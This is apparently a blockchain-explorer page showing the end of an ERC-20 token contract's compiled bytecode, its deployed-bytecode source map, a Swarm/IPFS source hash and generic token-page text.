63616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015610e2557610e25610dfd565b500390565b6000816000190483118215151615610e4457610e44610dfd565b500290565b600082610e6657634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115610e7e57610e7e610dfd565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220c0d9703423fbd6d476d7ffab1a2429746dd0a3e57d45f4ffc1faa8ee5fef246064736f6c634300080e0033
Deployed Bytecode Sourcemap
4713:7957:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6957:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7775:161;;;;;;;;;;-1:-1:-1;7775:161:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;7775:161:0;1053:187:1;7228:95:0;;;;;;;;;;-1:-1:-1;7308:7:0;;7228:95;;;1391:25:1;;;1379:2;1364:18;7228:95:0;1245:177:1;7942:311:0;;;;;;;;;;-1:-1:-1;7942:311:0;;;;;:::i;:::-;;:::i;7139:83::-;;;;;;;;;;-1:-1:-1;7205:9:0;;7139:83;;7205:9;;;;1902:36:1;;1890:2;1875:18;7139:83:0;1760:184:1;6036:32:0;;;;;;;;;;-1:-1:-1;6036:32:0;;;;;;;;5875:50;;;;;;;;;;;;;;;;4852:38;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2113:32:1;;;2095:51;;2083:2;2068:18;4852:38:0;1949:203:1;11690:103:0;;;;;;;;;;-1:-1:-1;11690:103:0;;;;;:::i;:::-;;:::i;:::-;;7329:117;;;;;;;;;;-1:-1:-1;7329:117:0;;;;;:::i;:::-;;:::i;3200:143::-;;;;;;;;;;;;;:::i;6356:37::-;;;;;;;;;;;;;;;;2991:82;;;;;;;;;;;;;:::i;4803:42::-;;;;;;;;;;;;;;;7046:87;;;;;;;;;;;;;:::i;6311:38::-;;;;;;;;;;;;;;;;7452:168;;;;;;;;;;-1:-1:-1;7452:168:0;;;;;:::i;:::-;;:::i;8259:136::-;;;;;;;;;;-1:-1:-1;8259:136:0;;;;;:::i;:::-;;:::i;7626:143::-;;;;;;;;;;-1:-1:-1;7626:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7734:18:0;;;7707:7;7734:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7626:143;4897:34;;;;;;;;;;-1:-1:-1;4897:34:0;;;;-1:-1:-1;;;4897:34:0;;;;;;6274:30;;;;;;;;;;;;;;;;6957:83;6994:13;7027:5;7020:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6957:83;:::o;7775:161::-;7850:4;7867:39;2538:10;7890:7;7899:6;7867:8;:39::i;:::-;-1:-1:-1;7924:4:0;7775:161;;;;:::o;7942:311::-;8046:4;8054:36;8064:6;8072:9;8083:6;8054:9;:36::i;:::-;8101:131;8110:6;2538:10;8132:99;8170:6;8132:99;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8132:19:0;;;;;;:11;:19;;;;;;;;2538:10;8132:33;;;;;;;;;;:37;:99::i;:::-;8101:8;:131::i;:::-;-1:-1:-1;8241:4:0;7942:311;;;;;:::o;11690:103::-;2538:10;3119:7;:5;:7::i;:::-;-1:-1:-1;;;;;3119:23:0;;3111:68;;;;-1:-1:-1;;;3111:68:0;;;;;;;:::i;:::-;;;;;;;;;11758:12:::1;:27:::0;;;::::1;;-1:-1:-1::0;;;11758:27:0::1;-1:-1:-1::0;;;;11758:27:0;;::::1;::::0;;;::::1;::::0;;11690:103::o;7329:117::-;-1:-1:-1;;;;;7422:16:0;7395:7;7422:16;;;:7;:16;;;;;;;7329:117::o;3200:143::-;2538:10;3119:7;:5;:7::i;:::-;-1:-1:-1;;;;;3119:23:0;;3111:68;;;;-1:-1:-1;;;3111:68:0;;;;;;;:::i;:::-;3307:1:::1;3291:6:::0;;3270:40:::1;::::0;-1:-1:-1;;;;;3291:6:0;;::::1;::::0;3270:40:::1;::::0;3307:1;;3270:40:::1;3338:1;3321:19:::0;;-1:-1:-1;;;;;;3321:19:0::1;::::0;;3200:143::o;2991:82::-;3037:7;3064:6;-1:-1:-1;;;;;3064:6:0;;2991:82::o;7046:87::-;7085:13;7118:7;7111:14;;;;;:::i;7452:168::-;7530:4;7547:52;2538:10;7581:9;7592:6;7547:9;:52::i;8259:136::-;2538:10;3119:7;:5;:7::i;:::-;-1:-1:-1;;;;;3119:23:0;;3111:68;;;;-1:-1:-1;;;3111:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8344:28:0;;;::::1;;::::0;;;:19:::1;:28;::::0;;;;:43;;-1:-1:-1;;8344:43:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8259:136::o;12284:379::-;-1:-1:-1;;;;;12377:19:0;;12369:78;;;;-1:-1:-1;;;12369:78:0;;4398:2:1;12369:78:0;;;4380:21:1;4437:2;4417:18;;;4410:30;4476:34;4456:18;;;4449:62;-1:-1:-1;;;4527:18:1;;;4520:34;4571:19;;12369:78:0;4196:400:1;12369:78:0;-1:-1:-1;;;;;12466:21:0;;12458:78;;;;-1:-1:-1;;;12458:78:0;;4803:2:1;12458:78:0;;;4785:21:1;4842:2;4822:18;;;4815:30;4881:34;4861:18;;;4854:62;-1:-1:-1;;;4932:18:1;;;4925:32;4974:19;;12458:78:0;4601:398:1;12458:78:0;-1:-1:-1;;;;;12547:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:46;;;12609;;1391:25:1;;;12609:46:0;;1364:18:1;12609:46:0;;;;;;;12284:379;;;:::o;8442:999::-;8562:1;8553:6;:10;8545:84;;;;-1:-1:-1;;;8545:84:0;;5206:2:1;8545:84:0;;;5188:21:1;5245:2;5225:18;;;5218:30;5284:34;5264:18;;;5257:62;-1:-1:-1;;;5335:18:1;;;5328:39;5384:19;;8545:84:0;5004:405:1;8545:84:0;-1:-1:-1;;;;;8673:31:0;;8640:19;8673:31;;;:25;:31;;;;;;;;8672:32;:86;;;;-1:-1:-1;;;;;;8729:29:0;;;;;;:25;:29;;;;;;;;8728:30;8672:86;8669:235;;;8792:4;8775:21;;8837:9;;8817:6;:29;;8809:92;;;;-1:-1:-1;;;8809:92:0;;5616:2:1;8809:92:0;;;5598:21:1;5655:2;5635:18;;;5628:30;5694:34;5674:18;;;5667:62;-1:-1:-1;;;5745:18:1;;;5738:38;5793:19;;8809:92:0;5414:404:1;8809:92:0;-1:-1:-1;;;;;8923:25:0;;;;;;:19;:25;;;;;;;;8922:26;:54;;;;-1:-1:-1;;;;;;8953:23:0;;;;;;:19;:23;;;;;;;;8952:24;8922:54;8914:126;;;;-1:-1:-1;;;8914:126:0;;6025:2:1;8914:126:0;;;6007:21:1;6064:2;6044:18;;;6037:30;6103:34;6083:18;;;6076:62;-1:-1:-1;;;6154:18:1;;;6147:47;6211:19;;8914:126:0;5823:413:1;8914:126:0;9051:21;9085:24;9103:4;9085:9;:24::i;:::-;9051:58;;9151:9;;9124:13;:36;9121:85;;-1:-1:-1;9194:9:0;;9121:85;9221:45;9236:4;9241:2;9244:6;9251:14;9221;:45::i;:::-;9297:2;-1:-1:-1;;;;;9282:26:0;9291:4;-1:-1:-1;;;;;9282:26:0;-1:-1:-1;;;;;;;;;;;9301:6:0;9282:26;;;;1391:25:1;;1379:2;1364:18;;1245:177;9282:26:0;;;;;;;;9315:12;;-1:-1:-1;;;9315:12:0;;;;9310:124;;9356:7;:5;:7::i;:::-;-1:-1:-1;;;;;9348:15:0;:4;-1:-1:-1;;;;;9348:15:0;;9340:91;;;;-1:-1:-1;;;9340:91:0;;6443:2:1;9340:91:0;;;6425:21:1;6482:2;6462:18;;;6455:30;6521:34;6501:18;;;6494:62;6592:33;6572:18;;;6565:61;6643:19;;9340:91:0;6241:427:1;9340:91:0;8543:898;;8442:999;;;:::o;2028:180::-;2114:7;2162:12;2154:6;;;;2146:29;;;;-1:-1:-1;;;2146:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2184:5:0;;;2028:180::o;9727:197::-;9850:66;9874:6;9882:9;9893:6;9901:14;9850:17;:66::i;:::-;9727:197;;;;:::o;10450:790::-;10587:21;10624:14;10620:70;;;10663:23;10682:3;10663:14;:7;10675:1;10663:11;:14::i;:::-;:18;;:23::i;:::-;10641:45;;10620:70;10701:15;10719:33;10739:13;10719:7;:33;:::i;:::-;-1:-1:-1;;;;;10797:18:0;;;;;;:7;:18;;;;;;10701:51;;-1:-1:-1;10797:31:0;;10701:51;10797:22;:31::i;:::-;-1:-1:-1;;;;;10764:18:0;;;;;;:7;:18;;;;;:64;;;:18;10860:41;;10893:7;10860:32;:41::i;:::-;-1:-1:-1;;;;;10921:25:0;;;;;;:7;:25;;;;;;10840:61;;-1:-1:-1;10921:38:0;;10951:7;10921:29;:38::i;:::-;-1:-1:-1;;;;;10903:15:0;;;;;;:7;:15;;;;;;;;:56;;;;11016:25;:33;;;;;;;;:83;;;;-1:-1:-1;;;;;;11063:36:0;;;;;;:25;:36;;;;;;;;11016:83;10973:126;;11115:25;11101:137;;;-1:-1:-1;;;;;11144:18:0;;;;;;:7;:18;;;;;:29;;;11101:137;;;11216:9;-1:-1:-1;;;;;11198:37:0;11208:6;-1:-1:-1;;;;;11198:37:0;-1:-1:-1;;;;;;;;;;;11227:7:0;11198:37;;;;1391:25:1;;1379:2;1364:18;;1245:177;11198:37:0;;;;;;;;11101:137;10575:665;;;;10450:790;;;;:::o;1716:98::-;1774:7;1801:5;1805:1;1801;:5;:::i;:::-;1794:12;1716:98;-1:-1:-1;;;1716:98:0:o;1820:::-;1878:7;1905:5;1909:1;1905;:5;:::i;1508:98::-;1566:7;1593:5;1597:1;1593;:5;:::i;1612:98::-;1670:7;1697:5;1701:1;1697;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;2157:160::-;2222:20;;2278:13;;2271:21;2261:32;;2251:60;;2307:1;2304;2297:12;2322:180;2378:6;2431:2;2419:9;2410:7;2406:23;2402:32;2399:52;;;2447:1;2444;2437:12;2399:52;2470:26;2486:9;2470:26;:::i;2507:186::-;2566:6;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;2658:29;2677:9;2658:29;:::i;2926:254::-;2991:6;2999;3052:2;3040:9;3031:7;3027:23;3023:32;3020:52;;;3068:1;3065;3058:12;3020:52;3091:29;3110:9;3091:29;:::i;:::-;3081:39;;3139:35;3170:2;3159:9;3155:18;3139:35;:::i;:::-;3129:45;;2926:254;;;;;:::o;3185:260::-;3253:6;3261;3314:2;3302:9;3293:7;3289:23;3285:32;3282:52;;;3330:1;3327;3320:12;3282:52;3353:29;3372:9;3353:29;:::i;:::-;3343:39;;3401:38;3435:2;3424:9;3420:18;3401:38;:::i;3450:380::-;3529:1;3525:12;;;;3572;;;3593:61;;3647:4;3639:6;3635:17;3625:27;;3593:61;3700:2;3692:6;3689:14;3669:18;3666:38;3663:161;;3746:10;3741:3;3737:20;3734:1;3727:31;3781:4;3778:1;3771:15;3809:4;3806:1;3799:15;3663:161;;3450:380;;;:::o;3835:356::-;4037:2;4019:21;;;4056:18;;;4049:30;4115:34;4110:2;4095:18;;4088:62;4182:2;4167:18;;3835:356::o;6673:127::-;6734:10;6729:3;6725:20;6722:1;6715:31;6765:4;6762:1;6755:15;6789:4;6786:1;6779:15;6805:125;6845:4;6873:1;6870;6867:8;6864:34;;;6878:18;;:::i;:::-;-1:-1:-1;6915:9:1;;6805:125::o;6935:168::-;6975:7;7041:1;7037;7033:6;7029:14;7026:1;7023:21;7018:1;7011:9;7004:17;7000:45;6997:71;;;7048:18;;:::i;:::-;-1:-1:-1;7088:9:1;;6935:168::o;7108:217::-;7148:1;7174;7164:132;;7218:10;7213:3;7209:20;7206:1;7199:31;7253:4;7250:1;7243:15;7281:4;7278:1;7271:15;7164:132;-1:-1:-1;7310:9:1;;7108:217::o;7330:128::-;7370:3;7401:1;7397:6;7394:1;7391:13;7388:39;;;7407:18;;:::i;:::-;-1:-1:-1;7443:9:1;;7330:128::o
Swarm Source
ipfs://c0d9703423fbd6d476d7ffab1a2429746dd0a3e57d45f4ffc1faa8ee5fef2460
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.